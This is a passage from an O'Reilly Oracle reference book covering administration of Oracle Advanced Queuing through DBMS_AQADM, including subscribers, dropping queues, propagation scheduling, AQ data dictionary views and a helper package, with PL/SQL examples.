subscriber | Subscriber to be added. Not the actual name of the subscriber, but an object of type SYS.AQ$_AGENT. If you try to add a subscriber that is already on the list, AQ will raise the ORA-24034 exception. Agent names are case-insensitive.

5.5.3.1.1 Example

Here is an example of adding a subscriber to a queue:

BEGIN
   DBMS_AQADM.ADD_SUBSCRIBER
      ('msgqueue', SYS.AQ$_AGENT ('multiconsqueue', NULL, NULL));

In this case, I have embedded the call to the object constructor method to convert a name to an agent. You can also perform this task in two steps as follows:

DECLARE
   v_agent SYS.AQ$_AGENT;
BEGIN
   v_agent := SYS.AQ$_AGENT ('Danielle', NULL, NULL);
   DBMS_AQADM.ADD_SUBSCRIBER ('multiconsqueue', v_agent);

5.5.3.2 The DBMS_AQADM.REMOVE_SUBSCRIBER procedure

To remove a default subscriber from a queue, call the REMOVE_SUBSCRIBER procedure:

PROCEDURE DBMS_AQADM.REMOVE_SUBSCRIBER
   (queue_name IN VARCHAR2, subscriber IN SYS.AQ$_AGENT);

Parameters are summarized in the following table.

Name | Description
queue_table | Name of the queue from which the subscriber is being removed.
subscriber | Subscriber to be removed. Not the actual name of the subscriber, but an object of type SYS.AQ$_AGENT. Agent names are case-insensitive.

5.5.3.2.1 Example

Here is an example of removing a subscriber from a queue:

BEGIN
   DBMS_AQADM.REMOVE_SUBSCRIBER
      ('multiconsqueue', SYS.AQ$_AGENT ('CEO', NULL, NULL));

In this case I have embedded the call to the object constructor method to convert a name to an agent. You can also perform this task in two steps as follows:

DECLARE
   v_agent SYS.AQ$_AGENT;
BEGIN
   v_agent := SYS.AQ$_AGENT ('CEO', NULL, NULL);
   DBMS_AQADM.REMOVE_SUBSCRIBER ('multiconsqueue', v_agent);

All references to the subscriber in existing messages are removed as part of the operation.

If you try to remove a subscriber that does not exist for this queue, you will receive this error message:

ORA-24035: application <subscriber> is not a subscriber for queue <queue>

5.5.3.3 The DBMS_AQADM.QUEUE_SUBSCRIBERS procedure

The QUEUE_SUBSCRIBERS function returns the list of subscribers associated with the specified queue. This list is an index-by table, as shown in the header,

FUNCTION DBMS_AQADM.QUEUE_SUBSCRIBERS
   (queue_name IN VARCHAR2)
RETURN DBMS_AQADM.AQ$_SUBSCRIBER_LIST_T;

where queue_name is the name of the queue.

5.5.3.3.1 Example

The following procedure encapsulates the steps needed to obtain this list and then to display it:

/* Filename on companion disk: showsubs.sp */*
CREATE OR REPLACE PROCEDURE showsubs (qname IN VARCHAR2)
IS
   sublist DBMS_AQADM.AQ$_SUBSCRIBER_LIST_T;
   v_row PLS_INTEGER;
BEGIN
   /* Retrieve the list. */
   sublist := DBMS_AQADM.QUEUE_SUBSCRIBERS (qname);

   v_row := sublist.FIRST;
   LOOP
      EXIT WHEN v_row IS NULL;
      DBMS_OUTPUT.PUT_LINE (v_row);
      DBMS_OUTPUT.PUT_LINE (sublist(v_row).name);
      v_row := sublist.NEXT (v_row);
   END LOOP;
END;
/

Now let's put the procedure to use. First of all, you can associate a set of subscribers only with a queue that supports multiple consumers. Here are the steps:

/* Filename on companion disk: aqcremq.sql */*
BEGIN
   DBMS_AQADM.CREATE_QUEUE_TABLE
      (queue_table => 'multicons',
       queue_payload_type => 'message_type',
       multiple_consumers => TRUE);

   DBMS_AQADM.CREATE_QUEUE
      (queue_name => 'multiconsqueue',
       queue_table => 'multicons');

   DBMS_AQADM.START_QUEUE (queue_name => 'multiconsqueue');

END;
/

You can then add subscribers to the multicons queue and display the results:

/* Filename on companion disk: showsubs.sql */*
DECLARE
   v_queue VARCHAR2(10) := 'multiconsqueue';
BEGIN
   DBMS_AQADM.ADD_SUBSCRIBER
      (v_queue, SYS.AQ$_AGENT ('Danielle', NULL, NULL));
   DBMS_AQADM.ADD_SUBSCRIBER
      (v_queue, SYS.AQ$_AGENT ('Benjamin', NULL, NULL));
   DBMS_AQADM.ADD_SUBSCRIBER
      (v_queue, SYS.AQ$_AGENT ('Masada', NULL, NULL));
   DBMS_AQADM.ADD_SUBSCRIBER
      (v_queue, SYS.AQ$_AGENT ('Timnah', NULL, NULL));

   showsubs (v_queue);
END;
/

5.5.4 Stopping and Dropping Queues

DBMS_AQADM offers two programs to clean up queues: STOP_QUEUE and DROP_QUEUE. The stop program disables activity on the queue. The drop program actually removes that queue from the queue table.

5.5.4.1 The DBMS_AQADM.STOP_QUEUE procedure

To disable enqueuing and/or dequeuing on a particular queue, call the STOP_QUEUE procedure:

PROCEDURE DBMS_AQADM.STOP_QUEUE
   (queue_name IN VARCHAR2,
    enqueue IN BOOLEAN DEFAULT TRUE,
    dequeue IN BOOLEAN DEFAULT TRUE,
    wait IN BOOLEAN DEFAULT TRUE);

Parameters are summarized in the following table.

Name | Description
queue_name | Name of the queue to be stopped.
enqueue | Specify TRUE (the default) if you want to disable enqueuing on this queue. FALSE means that the current setting will not be altered.
dequeue | Specify TRUE (the default) if you want to disable dequeuing on this queue. FALSE means that the current setting will not be altered.
wait | If you specify TRUE (the default), then your program will wait for any outstanding transactions to complete. While waiting, no new transactions are allowed to enqueue to or dequeue from this queue. If you specify FALSE, then the program will return immediately and raise ORA-24023 if it was unable to stop the queue.

5.5.4.1.1 Example

The following example shows the disabling of a queue for enqueuing purposes only. I also request that the program wait until all outstanding transactions are completed. You might take these steps in order to allow consumers to empty the queue, while not allowing any new messages to be placed on the queue.

BEGIN
   DBMS_AQADM.STOP_QUEUE
      ('msgqueue', enqueue=>TRUE, dequeue=>FALSE, wait=>TRUE);
END;

You can check the status of your queue by querying the USER_QUEUES data dictionary view:

SQL> SELECT name, enqueue, dequeue FROM USER_QUEUES
  2   WHERE name = 'MSGQUEUE';

NAME         ENQUEUE   DEQUEUE
MSGQUEUE         NO   YES

5.5.4.2 The DBMS_AQADM.DROP_QUEUE procedure

The DROP_QUEUE procedure drops an existing message queue. An error is returned if the message queue does not exist. In addition, this operation is not allowed unless DBMS_AQADM.STOP_QUEUE has been called to disable both enqueuing and dequeuing. If the message queue has not been stopped, then DROP_QUEUE returns an error of queue resource (ORA-24023). Here's the header for the procedure:

PROCEDURE DBMS_AQADM.DROP_QUEUE
   (queue_name  IN VARCHAR2,
    auto_commit IN BOOLEAN DEFAULT TRUE);

Parameters are summarized in the following table.

Name | Description
queue_name | Name of the queue to be dropped.
auto_commit | Specify TRUE (the default) to cause the current transaction, if any, to commit before the operation is carried out. The operation becomes persistent when the call returns. Specify FALSE if you want the drop action to be part of the current transaction, thereby taking effect only when the calling session issues a commit.

5.5.4.3 The DBMS_AQADM.DROP_QUEUE_TABLE procedure

Once you have stopped and dropped all queues in a queue table, you can remove that entire queue table with the DROP_QUEUE_TABLE procedure:

PROCEDURE DBMS_AQADM.DROP_QUEUE_TABLE
   (queue_table IN VARCHAR2,
    force IN BOOLEAN default FALSE,
    auto_commit IN BOOLEAN default TRUE);

Parameters are summarized in the following table.

Name | Description
queue_table | Name of the queue table to be dropped.
force | Specify FALSE (the default) to ensure that the drop action will not succeed unless all queues have been dropped. Specify TRUE if you want to force the dropping of this queue table. In this case, any remaining queues will be automatically stopped and dropped.
auto_commit | Specify TRUE (the default) to cause the current transaction, if any, to commit before the operation is carried out. The operation becomes persistent when the call returns. Specify FALSE if you want the drop action to be part of the current transaction, thereby taking effect only when the calling session issues a commit.

5.5.4.3.1 Example

The following example forces the dropping of the msg queue table, stopping and dropping all queues along the way.

BEGIN
   DBMS_AQADM.DROP_QUEUE_TABLE ('msg', force => TRUE);
END;
/

5.5.5 Managing Propagation of Messages

In order to propagate messages from one queue to another (an Oracle 8.0.4 and later feature), you need to schedule propagation between queues. You can also unschedule propagation of those messages.

5.5.5.1 The DBMS_AQADM.SCHEDULE_PROPAGATION procedure

Call the SCHEDULE_PROPAGATION procedure to schedule propagation of messages. The header for this procedure follows:

PROCEDURE DBMS_AQADM.SCHEDULE_PROPAGATION
   (src_queue_name IN VARCHAR2,
    destination IN VARCHAR2 DEFAULT NULL,
    start_time IN DATE DEFAULT SYSDATE,
    duration IN NUMBER DEFAULT NULL,
    next_time IN VARCHAR2 DEFAULT NULL,
    latency IN NUMBER DEFAULT 60);

Parameters are summarized in the following table.

Name | Description
src_queue_name | Name of the source queue whose messages are to be propagated. This name should include the schema name, if the queue is not located in the default schema, which is the schema name of the Oracle AQ administrator.
destination | Database link for the destination. If this argument is NULL, then the destination is the local database; messages will be propagated to other queues in the local database as determined by the subscription or recipient lists. The maximum length for the destination is currently 128 bytes. If the name is not fully qualified, then the default domain named will be used.
start_time | Initial start date-time for the window of time in which messages are propagated from the source queue to the destination queue.
duration | Length of time in seconds that the propagation window will be open. If you supply a NULL value (the default), then the propagation window is open continually, or at least until the propagation is unscheduled through a call to DBMS_AQ.UNSCHEDULE_PROPAGATION.
next_time | An expression returning a date value that is used to compute the start of the next propagation window. If you supply a NULL value (the default), then propagation will stop when the current (initial) window closes. As an example, suppose you want to make sure the next propagation doesn't start until 24 hours after the last propagation window closed. You would then set next_time to SYSDATE + 1 - duration/86400. If you want to make sure the next propagation starts 24 hours after the last propagation window closed, provide a next_time value of `SYSDATE + 1'.
latency | The maximum wait in seconds that a message may sit in a queue after the start of a propagation window before it is propagated. The default amount of time is 60 seconds. This would mean, for example, that when the propagation window opens, the Queue Monitor propagates any messages present. It would then wait 60 seconds (or until the window closes due to the duration setting) before checking for the presence of and propagating any other messages.

To summarize that relatively complex set of parameters and their interactions, when you schedule propagation you identify an initial start date/time and a span of time (number of seconds) in which messages are available to be propagated out of the queue to other queues. You can request that this window of time be opened on a regular basis (every day, once a week, every morning at 10 a.m., etc.). Finally, you can specify that the Queue Monitor check no less frequently than every N seconds (latency) during the time the propagation window is open to see if there are messages to propagate.

5.5.5.1.1 Example

In this example, I schedule the propagation of a queue to the Boston brokerage office to occur every two hours. The propagation window is five minutes, and during that period of time, I want messages to be flushed out at least every 30 seconds.

BEGIN
   DBMS_AQADM.SCHEDULE_PROPAGATION
      ('sell_orders',
       'broker@boston',
       SYSDATE,
       5 * 60,
       'SYSDATE + 2/24',
       30);
END;
/

If I do not specify a destination, then propagation occurs to the same database in which the source queue is defined. The following call to DBMS_AQADM.SCHEDULE_PROPAGATION takes all default values (including a local destination database), except that it requests a latency of ten minutes by using named notation:

BEGIN
   DBMS_AQADM.SCHEDULE_PROPAGATION
      ('share_the_blame',
       latency => 60 * 10);
END;
/

5.5.5.2 The DBMS_AQADM.UNSCHEDULE_PROPAGATION procedure

You can stop or unschedule propagation of a queue with the UNSCHEDULE_PROPAGATION procedure:

PROCEDURE DBMS_AQADM.UNSCHEDULE_PROPAGATION
   (src_queue_name IN VARCHAR2,
    destination IN VARCHAR2 DEFAULT NULL);

Parameters are summarized in the following table:

Name | Description
src_queue_name | Name of the source queue whose messages are no longer to be propagated. This name should include the schema name if the queue is not located in the default schema, which is the schema name of the Oracle AQ administrator.
destination | Database link for the destination for which propagation will be terminated. If this argument is NULL, then the destination is the local database; messages will no longer be propagated to other queues in the local database as determined by the subscription or recipient lists. The maximum length for destination is currently 128 bytes. If the name is not fully qualified, then the default domain named will be used.

5.5.6 Verifying Queue Types

5.5.6.1 The DBMS_AQADM.VERIFY_QUEUE_TYPES procedure

The VERIFY_QUEUE_TYPES procedure allows you to determine whether two different queues have the same payload type. Here's the header:

PROCEDURE DBMS_AQADM.VERIFY_QUEUE_TYPES
   (src_queue_name IN VARCHAR2,
    dest_queue_name IN VARCHAR2
    destination IN VARCHAR2 DEFAULT NULL,
    rc OUT BINARY_INTEGER);

Parameters are summarized in the following table.

Name | Description
src_queue_name | Name of the source queue, usually one from which messages are to be propagated. This name should include the schema name if the queue is not located in the default schema, which is the schema name of the user.
dest_queue_name | Name of the destination queue, usually one to which messages are to be propagated. This name should include the schema name if the queue is not located in the default schema, which is the schema name of the user.
destination | Database link for the destination queue. If this argument is NULL, then the destination queue is located in the same database as the source queue. The maximum length for destination is currently 128 bytes. If the name is not fully qualified, then the default domain named will be used.
rc | Status code returned by the procedure. If there is no problem verifying the queue types and if the source and destination queue types match, then the result code is 0. If the queue types do not match (and there is no error), then the result code is 1. If an Oracle exception is raised, the SQLCODE is returned in rc.

Whenever this program is run (either by Oracle AQ itself or by an AQ administrator), it updates the SYS.AQ$_MESSAGE_TYPES table. You can access this table (to verify the success of the type match after propagation has taken place) using the OID (Object ID) of the source queue and the address of the destination queue.

5.5.7 Starting and Stopping the Queue Monitor

If you want to use the delay and expiration features of AQ, you must have the Queue Monitor process running in the background. Before you can do this, you must add an AQ_TM_PROCESS parameter to your database initialization file (see Section 5.2, "Getting Started with Oracle AQ"" at the beginning of this chapter for more information).

5.5.7.1 The DBMS_AQADM.START_TIME_MANAGER procedure

To start the Queue Monitor process, call the START_TIME_MANAGER procedure:

PROCEDURE DBMS_AQADM.START_TIME_MANAGER;

The operation takes effect when the call completes; there are no transactional dependencies.

You can use the START_TIME_MANAGER to restart the Queue Monitor after you stopped it with a call to STOP_TIME_MANAGER. You can also use it to start the Queue Monitor process if the database initialization parameter was set to 0. In other words, you can override the default state of the database with this programmatic call.

5.5.7.2 The DBMS_AQADM.STOP_TIME_MANAGER procedure

To stop the Queue Monitor process, call the STOP_TIME_MANAGER procedure:

PROCEDURE DBMS_AQADM.STOP_TIME_MANAGER;

The operation takes effect when the call completes; there are no transactional dependencies.

The STOP_TIME_MANAGER procedure does not actually stop the physical process running in the background. This process is started when the database is initialized. The procedure simply disables the time management features of Oracle AQ in that database instance.

Previous: 5.4 DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only) | Oracle Built-in Packages | Next: 5.6 Oracle AQ Database Objects
5.4 DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only) | Book Index | 5.6 Oracle AQ Database Objects
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.6 Oracle AQ Database Objects

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

5.6 Oracle AQ Database Objects

Oracle AQ relies on a variety of database objects to get its job done. Some objects are created for each queue table established. Other objects are created at the time that Oracle AQ is installed.

5.6.1 Objects Per Queue Table

When a queue table is created, Oracle AQ defines a database table to hold all the messages for all queues in that queue table, as well as a view that allows a user to both query from and change (with caution and the guidance of Oracle Support) messages stored in queues of the queue table.

5.6.1.1 The database table for queue data

The name of the database table has the following form,

<queue_table>

where queue_table is the name of the queue table created. Table 5.3 shows the columns of this view.

Table 5.3: Columns in the Database Table for Queue Data
Name | Description | Datatype
Q_NAME | Name of the queue (remember that you can have more than one queue in a queue table) | VARCHAR2(30)
MSGID | Unique identifier of the message | RAW(16)
CORRID | Optional correlation identifier value provided by the user | VARCHAR2(30)
PRIORITY | Message priority | NUMBER
STATE | Message state | NUMBER
DELAY | The point in time to which the message is delayed for dequeuing | DATE
EXPIRATION | Number of seconds in which the message will expire after its message state is set to READY | NUMBER
TIME_MANAGER_INFO | For internal use only | DATE
LOCAL_ORDER_NO | For internal use only | NUMBER
CHAIN_NO | For internal use only | NUMBER
CSCN | For internal use only | NUMBER
DSCN | For internal use only | NUMBER
ENQ_TIME | Date-time at which the message was enqueued | DATE
ENQ_UID | User ID of the session that enqueued the message | NUMBER
ENQ_TID | ID number of the transaction that enqueued this message | VARCHAR2(30)
DEQ_TIME | Date-time at which the message was dequeued | DATE
DEQ_UID | User ID of the session that dequeued the message | NUMBER
DEQ_TID | ID number of the transaction that dequeued this message | VARCHAR2(30)
RETRY_COUNT | Number of retries at dequeuing the message | NUMBER
EXCEPTION_QSCHEMA | Name of the schema containing the exception queue for this message | VARCHAR2(30)
EXCEPTION_QUEUE | Name of the exception queue for this message | VARCHAR2(30)
STEP_NO | For internal use only | NUMBER
RECIPIENT_KEY | For internal use only | NUMBER
DEQUEUE_MSGID | Message ID for the dequeue operation | RAW(16)
USER_DATA | Payload of the queue (<user_data>); this might be a RAW value or the contents of the object that was placed in the queue | RAW or <object_type>

You will find it useful to execute queries directly against this base table when you need to examine dequeue status information for messages that reside in a multiple consumer queue.

Here, for example, is the kind of query you might write to view the list of the agents that consumed a message with the following ID,

452F77CD652E11D1B999B14141A17646.

SELECT consumer, transaction_id, deq_time, deq_user
  FROM THE
     (SELECT CAST (history AS SYS.AQ$_DEQUEUE_HISTORY_T)
        FROM msg_qtable
       WHERE msgid = 452F77CD652E11D1B999B14141A17646).

where SYS.AQ$_DEQUEUE_HISTORY_T is a nested table of type SYS.AQ$_DEQUEUE_HISTORY. This dequeue history object type is defined in catqueue.sql as follows:

CREATE TYPE sys.aq$_dequeue_history_t
AS OBJECT
( consumer  VARCHAR2(30),	-- identifies dequeuer
  transaction_id VARCHAR2(22),	-- M_LTID, transaction id of dequeuer
  deq_time  DATE,               -- time of dequeue
  deq_user  NUMBER,             -- user id of client performing dequeue
  remote_apps  VARCHAR2(4000),	-- string repn. of remote agents
  agent_naming NUMBER,           -- how the message was sent to agent
  propagated_msgid RAW(16));

5.6.1.2 The queue table view

The name of the view for a queue table has the following form,

AQ$<queue_table>

where queue_table is the name of the queue table created. Table 5.4 shows the columns of this view. Notes about this view and its usage are included after the table.

Table 5.4: Columns in the Queue Table View
Name | Description | Type
QUEUE | Name of the queue (remember you can have more than one queue in a queue table) | VARCHAR2(30)
MSG_ID | Unique identifier of the message | RAW(16)
CORR_ID | Optional correlation identifier value provided by the user | VARCHAR2(128)
MSG_PRIORITY | Message priority | NUMBER
MSG_STATE | Message state | VARCHAR2(9)
DELAY | Point in time to which the message is delayed for dequeuing | DATE
EXPIRATION | Number of seconds in which the message will expire after its message state is set to READY | NUMBER
ENQ_TIME | Date-time at which the message was enqueued | DATE
ENQ_USER_ID | User ID of the enqueuing process | NUMBER
ENQ_TXN_ID | Transaction ID of the enqueue action | VARCHAR2(30)
DEQ_TIME | Date-time at which the message was dequeued | DATE
DEQ_USER_ID | User ID of the dequeuing process | NUMBER
DEQ_TXN_ID | Transaction ID of the dequeue action | VARCHAR2(30)
RETRY_COUNT | Number of attempts to dequeue the message | NUMBER
EXCEPTION_QUEUE_OWNER | Owner of exception queue | VARCHAR2(30)
EXCEPTION_QUEUE | Name of exception queue for this message | VARCHAR2(30)
USER_DATA | Payload of the queue (<user_data>); this might be a RAW value or the contents of the object which was placed in the queue | RAW or <object_type>

Note the following about using the queue table view:

  • The AQ administrator can use the SQL language to examine the contents of any queue or queue table.

  • The dequeue columns are relevant only for single consumer queues. If you want to examine the dequeue history of messages in a multiple consumer queue, you will need to examine the underlying database table owned by SYS that contains the message data (see the next section).

5.6.2 Data Dictionary Objects

This section documents the database objects in the data dictionary that contain information for all queue tables and queues to which you have access.

5.6.2.1 The DBA_QUEUE_TABLES view

You can obtain information about all the queue tables created in your instance by examining the DBA_QUEUE_TABLES data dictionary view. The USER_QUEUE_TABLES view will show you all information about queue tables defined in your schema. Its columns are identical to the DBA version, except that there is no OWNER column. Table 5.5 lists the columns of the DBA_QUEUE_TABLES view.

Table 5.5: Columns in DBA_QUEUE_TABLES View
Name | Description | Type
OWNER | The schema owning the queue table | VARCHAR2(30)
QUEUE_TABLE | Name of the queue table | VARCHAR2(30)
TYPE | Type of payload in the queue table (either `RAW' or `OBJECT') | VARCHAR2(7)
OBJECT_TYPE | Name of the object type if the type of the queue table is OBJECT | VARCHAR2(61)
SORT_ORDER | A sort order for queues in the queue table, if specified | VARCHAR2(22)
RECIPIENTS | A value indicating whether it is a single consumer queue table (DBMS_AQADM.SINGLE) or a multiple consumer queue table (DBMS_AQADM.MULTIPLE) | VARCHAR2(8)
MESSAGE_GROUPING | The type of message grouping, either DBMS_AQADM.NONE or DBMS_AQADM.TRANSACTION | VARCHAR2(13)
USER_COMMENT | Comment provided by the user to associate with the queue table | VARCHAR2(50)

5.6.2.2 The DBA_QUEUES view

You can obtain information about all the queues created in your instance by examining the DBA_QUEUES data dictionary view. The USER_QUEUES view will show you all information about queues defined in your schema. Its columns are identical to the DBA version except that there is no OWNER column. Table 5.6 lists the columns of the DBA_QUEUES view.

Table 5.6: Columns in DBA_QUEUES View
Name | Description | Type
OWNER | The schema owning the queue | VARCHAR2(30)
NAME | Name of the queue | VARCHAR2(30)
QUEUE_TABLE | Name of the queue table that contains this queue | VARCHAR2(30)
QID | Unique identifier for queue | NUMBER
QUEUE_TYPE | Type of the queue, either DBMS_AQADM.NORMAL_QUEUE or DBMS_AQADM.EXCEPTION_QUEUE | VARCHAR2(5)
MAX_RETRIES | Maximum number of dequeue attempts that are allowed on messages in this queue | NUMBER
RETRY_DELAY | Number of seconds before a dequeue retry can be attempted | NUMBER
ENQUEUE_ENABLED | Flag indicating whether or not (YES or NO) the enqueue operation is enabled for this queue | VARCHAR2(7)
DEQUEUE_ENABLED | Flag indicating whether or not (YES or NO) the dequeue operation is enabled for this queue | VARCHAR2(7)
RETENTION | Number of seconds a message is retained in the queue after dequeuing | NUMBER
USER_COMMENT | Comment provided by the user to associate with the queue table | VARCHAR2(50)

5.6.2.3 The DBA_JOBS view

For Oracle 8.0.4 and later, AQ provides a view to the schedules currently defined for propagating messages. Table 5.7 shows the columns of the DBA_JOBS view.

Table 5.7: Columns in the DBA_JOBS View
Name | Description | Type
SCHEMA | Schema owning the queue | VARCHAR2(30)
QNAME | Name of the source queue | VARCHAR2(30)
DESTINATION | Name of the destination; currently limited to being a database link (dblink) name | VARCHAR2(128)
START_DATE | Date at which propagation will be started | DATE
START_TIME | Time of day at which propagation will be started; this is stored in a string of format HH:MM:SS | VARCHAR2(8)
WINDOW | Duration of the propagation window in seconds | NUMBER
NEXT_TIME | String containing a date expression that evaluates to the starting date/time of the next propagation window | VARCHAR2(128)
LATENCY | Maximum number of seconds AQ will wait before it attempts to propagate messages during a propagation window | NUMBER

Check this view to see if a particular combination of source queue and destination have been scheduled for propagation. If so, you can determine the job ID or job number for the propagation by examining the SYS.AQ$_SCHEDULES table. Apply this job number to the DBA_JOBS view to find out:

  • The last time that propagation was scheduled.

  • The next time that propagation will occur.

  • The status of the job. If the job is marked as broken, you can check for errors in the trace files generated by the job queue processes in the $ORACLE_HOME/log directory.

5.6.2.4 The GV$AQ and V$AQ dynamic statistics views

Oracle AQ provides two views for retrieving dynamic statistics for AQ operations: GV$AQ and V$AQ. The columns for these views are exactly the same, but they contain different data:

GV$AQ view

Provides information about the numbers of messages in various states for the entire database. It consolidates information from all instances when it is queried in an Oracle parallel server environment.

V$AQ view

Contains information about the messages in a specific database instance. It does this by examining AQ statistics stored in the System Global Area (SGA) of the instance.

Table 5.8 lists the columns of the GV$AQ and V$AQ views.

Table 5.8: Columns in GV$AQ and V$AQ Views
Name | Description | Type
QID | Unique identifier of a queue; its value matches the same column in DBA_QUEUES and USER_QUEUES | NUMBER
WAITING | Number of messages in the WAITING state | NUMBER
READY | Number of messages in the READY state | NUMBER
EXPIRED | Number of messages in the EXPIRED state | NUMBER
TOTAL_WAIT | Number of seconds for which messages in the queue have been waiting in the READY state | NUMBER
AVERAGE_WAIT |  | NUMBER

Previous: 5.5 DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only) | Oracle Built-in Packages | Next: 5.7 Oracle AQ Examples
5.5 DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only) | Book Index | 5.7 Oracle AQ Examples
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.7 Oracle AQ Examples

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

5.7 Oracle AQ Examples

This section offers numerous examples of using AQ, including packages you can install and reuse in your environment. In all these examples, unless otherwise noted, assume that I have (a) defined an Oracle account named AQADMIN to perform administrative tasks and (b) assigned the AQ_USER_ROLE to SCOTT to perform operational tasks. I then connect to AQADMIN.

After setting up the queue tables and queues, I connect to SCOTT and create this object type:

CREATE TYPE message_type AS OBJECT
   (title VARCHAR2(30),
    text VARCHAR2(2000));

I also grant EXECUTE privilege on this object to my AQ administrator:

GRANT EXECUTE ON message_type TO AQADMIN;

My AQ administrator then can create a queue table and a message queue as follows:

BEGIN
   DBMS_AQADM.CREATE_QUEUE_TABLE
      (queue_table => 'scott.msg',
       queue_payload_type => 'message_type');

   DBMS_AQADM.CREATE_QUEUE
      (queue_name => 'msgqueue',
       queue_table => 'scott.msg');

   DBMS_AQADM.START_QUEUE (queue_name => 'msgqueue');
END;
/

Notice that I do not need to specify the schema for the payload type. AQ assumes the same schema as specified for the queue table.

I will make use of these objects throughout the following examples; I will also at times supplement these queue objects with other, more specialized queue table and queues.

Oracle also provides a set of examples scripts for AQ. In Oracle 8.0.3, the following files were located in $ORACLE_HOME/rdbms80/admin/aq/demo:

aqdemo00.sql

The driver program for the demonstration

aqdemo01.sql

Create queue tables and queues

aqdemo02.sql

Load the demo package

aqdemo03.sql

Submit the event handler as a job to the job queue

aqdemo04.sql

Enqueue messages

5.7.1 Improving AQ Ease of Use

Let's start by constructing a package to make it easier to work with AQ objects. I am always looking for ways to shortcut steps I must perform to get things done. The complexity of AQ, along with all of the different records and structures, begs for a wrapper of code to perform common steps more easily.

I describe the program elements defined in the aq package later. To save a few trees, I will leave the reader to examine the package body to see how I constructed these programs. In most cases they are very straightforward.

First off, I define two subtypes so that you can declare variables using names instead of hard-coded declarations like RAW(16). These subtypes are as follows:

v_msgid RAW(16);
SUBTYPE msgid_type IS v_msgid%TYPE;

v_name VARCHAR2(49);
SUBTYPE name_type IS v_name%TYPE;

I also predefined two common exceptions so that you can trap these by name through a WHEN OTHERS clause and a hard-coding of the error number (see the aqbrowse.sp file for an example of using this named exception):

dequeue_timeout EXCEPTION
PRAGMA EXCEPTION_INIT (dequeue_timeout, -25228);

dequeue_disabled EXCEPTION;
PRAGMA EXCEPTION_INIT (dequeue_disabled, -25226);

Now let's run through the different procedures and functions in the packages. The aq.create_queue procedure combines the create table queue, create queue, and start queue steps into a single procedure call:

PROCEDURE aq.create_queue
   (qtable IN VARCHAR2,
    payload_type IN VARCHAR2,
    qname IN VARCHAR2,
    prioritize IN VARCHAR2 := NULL);

If the queue table already exists, it is not created. You can also provide a prioritization string if you want to override the default.

The aq.create_priority_queue procedure has the same interface as aq.create_queue, but the default value for the prioritize parameter is the most common nonstandard string: order by the priority number, and within the same priority number, by the enqueue time.

PROCEDURE create_priority_queue
   (qtable IN VARCHAR2,
    payload_type IN VARCHAR2,
    qname IN VARCHAR2,
    prioritize IN VARCHAR2 := 'PRIORITY,ENQ_TIME');

The aq.stop_and_drop procedure is a neat little program. It combines the following operations: stop queue, drop queue, and drop queue table. But it also figures out when it is appropriate to execute each of those steps.

PROCEDURE aq.stop_and_drop (
   qtable IN VARCHAR2,
   qname IN VARCHAR2 := '%',
   enqueue IN BOOLEAN := TRUE,
   dequeue IN BOOLEAN := TRUE,
   wait IN BOOLEAN := TRUE);

Here are the rules followed by aq.stop_and_drop:

  • Stop all queues within the specified queue table that match the queue name you provide. Notice that the default is `%', so if you do not provide a queue name, then all queues in the queue table are stopped.

  • If you specify that you want to stop both enqueue and dequeue operations on queues, then those queues will also be dropped.

  • If you stop and drop all queues in the queue table, then the queue table itself will be dropped.

The default values for this program specify that all queues in the specified queue table should be stopped and dropped, but only after any outstanding transactions on those queues are completed.

The rest of the aq programs retrieve information about queues and queue tables from the data dictionary views. You could write many more programs along these lines to make it easier to view the contents of the AQ views. In fact, the aq package will contain more programs by the time this book is printed, so check out the aq.spp file to see the latest set of functionality.

The aq.queue_exists function returns TRUE if a queue of the specified name exists:

FUNCTION aq.queue_exists (qname IN VARCHAR2) RETURN BOOLEAN;

The aq.qtable_exists function returns TRUE if a queue table of the specified name exists:

FUNCTION aq.qtable_exists (qtable IN VARCHAR2) RETURN BOOLEAN;

The aq.msgcount function returns the number of messages in the specified queue:

FUNCTION aq.msgcount (qtable IN VARCHAR2, qname IN VARCHAR2)
      RETURN INTEGER

You have to specify both the queue table and the queue name so that the function can construct the name of the database table holding the queue messages. You could enhance this function so that you provide only the queue name and the function looks up the queue table name for you.

The aq.msgdata function returns the specified piece of information (the data_in argument) for a specific message ID in the queue table:

FUNCTION aq.msgdata (qtable_in IN VARCHAR2,
   msgid_in IN RAW,
   data_in IN VARCHAR2) RETURN VARCHAR2;

The data_in argument must be one of the columns in the aq$<qtable_in> database table, which contains all the messages for queues in that queue table.

For example, to obtain the correlation ID for a message in the "msg" queue table, you could call aq.msgdata as follows:

CREATE OR REPLACE FUNCTION corr_id (msg_id IN aq.msgid_type)
   RETURN VARCHAR2
IS
   v_corr_id := aq.msgdata ('msg', msgid_in, 'corr_id');
END;
/

Call the aq.showmsgs procedure to show some of the message information for the specified queue:

PROCEDURE showmsgs (qtable IN VARCHAR2, qname IN VARCHAR2);

This procedure currently shows the priority, message state, number of retries, and correlation ID of messages in the queue. You can easily modify the procedure to show different pieces of information about the message. Remember that it is probably impossible to create a generic program like this that will display the contents of the message, since that is either a RAW or an instance of an object type. For this same reason, there is no generic enqueue or dequeue procedure.

I hope these programs will get you started on encapsulating commonly needed tasks at your site for performing queueing operations. There is much more to be done, particularly in the area of building queries (which can then be placed behind functions and in mini-report generator procedures) against the various data dictionary views.

5.7.2 Working with Prioritized Queues

The normal priority order for dequeuing is by enqueue time: in other words, "first in, first out" or FIFO. You can modify this priority order when you create a different value for the sort_list argument when you create a queue table. Since this value is specified for a queue table, you will be setting the default sorting for any queue defined in this queue table.

The only other option for the default sorting of queue messages is by the priority number. In the world of AQ, the lower the priority number, the higher the priority.

